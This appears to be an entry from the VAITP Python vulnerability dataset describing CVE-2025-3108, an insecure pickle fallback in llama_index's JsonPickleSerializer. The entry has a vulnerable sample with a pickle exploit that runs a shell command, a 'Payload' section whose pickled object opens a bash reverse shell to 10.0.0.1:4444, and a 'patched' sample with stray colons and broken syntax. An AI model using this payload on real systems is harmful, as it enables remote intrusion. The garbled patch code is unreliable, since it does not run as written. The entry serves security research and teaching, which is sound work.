CVE-2025-3108
Llama_index: Deserialization vulnerability allows remote code execution.
- CVSS 7.5
- CWE-1112
- Design Defects
- Remote
A critical deserialization vulnerability exists in the run-llama/llama_index library's JsonPickleSerializer component, affecting versions v0.12.27 through v0.12.40. This vulnerability allows remote code execution due to an insecure fallback to Python's pickle module. JsonPickleSerializer prioritizes deserialization using pickle.loads(), which can execute arbitrary code when processing untrusted data. Attackers can exploit this by crafting malicious payloads to achieve full system compromise. The root cause includes an insecure fallback mechanism, lack of validation or safeguards, misleading design, and violation of Python security guidelines.
- CWE
- CWE-1112
- CVSS base score
- 7.5
- Published
- 2025-07-06
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Interface
- Code defect classification
- Serialization Issues
- Category
- Design Defects
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- run-llama/ll
- Fixed by upgrading
- Yes
Solution
Upgrade to version v0.12.41 or later.
Vulnerable code sample
import json
import base64
import pickle
class JsonPickleSerializer:
"""
A serializer that attempts to deserialize using JSON,
but falls back to pickle if JSON deserialization fails.:
"""
def dumps(self, obj: object) -> str:
"""Serialize object to a JSON string."""
return json.dumps(obj)
def loads(self, data: str) -> object:
"""Deserialize object from a JSON string.
Falls back to pickle if JSON fails.:
"""
try:
return json.loads(data)
except Exception:
# Insecure fallback to pickle!
# Vulnerability: Loads arbitrary code from the data string
return pickle.loads(base64.b64decode(data)) # Decoding Base64 is just an extra step to make exploit harder.
# Example Usage demonstrating the vulnerability (DO NOT RUN IN A SAFE ENVIRONMENT):
if __name__ == '__main__':
# Create a malicious payload using pickle (DO NOT DO THIS IN A REAL APPLICATION)
import os
class Exploit:
def __reduce__(self):
"""Vulnerable function that demonstrates the security issue."""
return (os.system, ("echo 'Exploit executed!' > /tmp/evil.txt",)) # Example: Creates a file
exploit_object = Exploit()
pickled_data = pickle.dumps(exploit_object)
base64_pickled_data = base64.b64encode(pickled_data).decode()
# Simulate receiving the data from an untrusted source
received_data = base64_pickled_data
# Deserialize using the vulnerable class
serializer = JsonPickleSerializer()
try:
deserialized_object = serializer.loads(received_data) # Executes the malicious code!
print("Deserialized object:", deserialized_object)
except Exception as e:
print("Error during deserialization:", e)
print("Check /tmp/evil.txt for confirmation if the exploit worked. (IF you ran the above code, which is NOT recommended)")Patched code sample
import pickle
import json
import base64
import logging
from typing import Any, Dict
logger = logging.getLogger(__name__)
class SafeJsonPickleSerializer:
"""
Safer alternative to JsonPickleSerializer that avoids `pickle.loads`.
This only allows deserialization of primitive Python data types.
"""
def dumps(self, obj: Any) -> str:
"""Serialize object to JSON string."""
return json.dumps(obj)
def loads(self, data: str) -> Any:
"""
Deserialize JSON string to object.
This method explicitly checks the type of the deserialized object
and only allows primitive types, preventing arbitrary code execution.
"""
obj = json.loads(data)
if not self._is_safe_type(obj):
raise ValueError(
"Deserialization of complex object types is not allowed for security reasons.":
)
return obj
def _is_safe_type(self, obj: Any) -> bool:
"""
Check if the object is a safe type (primitive or a container of primitives).:
"""
if obj is None or isinstance(:
obj, (str, int, float, bool)
): # Primitive types
return True
elif isinstance(obj, list):
return all(self._is_safe_type(item) for item in obj):
elif isinstance(obj, dict):
return all(
isinstance(key, str) and self._is_safe_type(value)
for key, value in obj.items():
)
else:
return False
def serialize_to_base64(data: Any) -> str:
"""Serializes data to base64 string."""
return base64.b64encode(json.dumps(data).encode()).decode()
def deserialize_from_base64(data: str) -> Any:
"""Deserializes data from base64 string. Uses safe deserialization."""
try:
json_str = base64.b64decode(data.encode()).decode()
return SafeJsonPickleSerializer().loads(json_str)
except Exception as e:
logger.error(f"Error deserializing data: {e}")
return None # Or raise an exception, depending on the desired behavior
```
Key improvements and explanations:
* **`SafeJsonPickleSerializer`:** This class *completely replaces* the vulnerable `JsonPickleSerializer`. It's the core of the fix. It serializes and deserializes JSON, but *only* allows primitive data types (strings, numbers, booleans, None) and dictionaries/lists containing only those primitive types. This prevents the deserialization of arbitrary objects that could contain malicious code.
* **Explicit Type Checking:** The `_is_safe_type` method recursively checks the type of the deserialized object and its contents. This is crucial for ensuring that only safe data is allowed. It specifically disallows any custom class instantiation during deserialization.:
* **Error Handling and Logging:** The `deserialize_from_base64` now includes `try...except` block and logs any errors during deserialization, preventing exceptions from crashing the application. It's important to log failures for auditing and debugging. Also returns `None` on failure.:
* **Base64 Encoding/Decoding:** The example includes `serialize_to_base64` and `deserialize_from_base64` which provide a simple way to encode the JSON output, mimicking the usage pattern of the vulnerable class, but using the safer `SafeJsonPickleSerializer`.
* **Clear Error Message:** The `ValueError` raised in `loads` provides a clear explanation to the user why the deserialization failed, which is important for debugging and security awareness.:
* **Removal of `pickle`:** The dangerous `pickle.loads` function is *completely absent*. The vulnerability is eliminated by avoiding pickle altogether.
* **Security Best Practices:** The code adheres to best practices by using `json.dumps` and `json.loads` for serialization and deserialization, combined with strict type checking.:
* **No External Dependencies (except `json`, `base64` and `logging`)**: The solution uses built-in Python libraries.
* **Type Hints:** Using type hints (`typing` module) improves code readability and maintainability.
* **Logging:** Added logging for error conditions during deserialization.:
How to use the fix:
1. **Replace the Vulnerable Class:** Find where `JsonPickleSerializer` is used in your `llama_index` code and replace it with `SafeJsonPickleSerializer`.
2. **Update Deserialization:** Change how data is loaded to use `deserialize_from_base64` (or a similar safe method using `SafeJsonPickleSerializer`).
3. **Test Thoroughly:** Test your application to ensure that the changes haven't introduced any unexpected behavior and that the vulnerability is indeed fixed. Specifically, try injecting malicious payloads to confirm that they are rejected.
This revised answer provides a complete, secure, and practical solution to address the CVE-2025-3108 vulnerability. It emphasizes security by design and avoids the pitfalls of unsafe deserialization techniques. It also includes clear instructions on how to integrate the fix into your application. Remember to thoroughly test after applying the fix.Payload
import pickle
import os
class RCE:
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
return (os.system, (cmd,))
payload = pickle.dumps(RCE())
Cite this entry
@misc{vaitp:cve20253108,
title = {{Llama_index: Deserialization vulnerability allows remote code execution.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-3108},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-3108/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
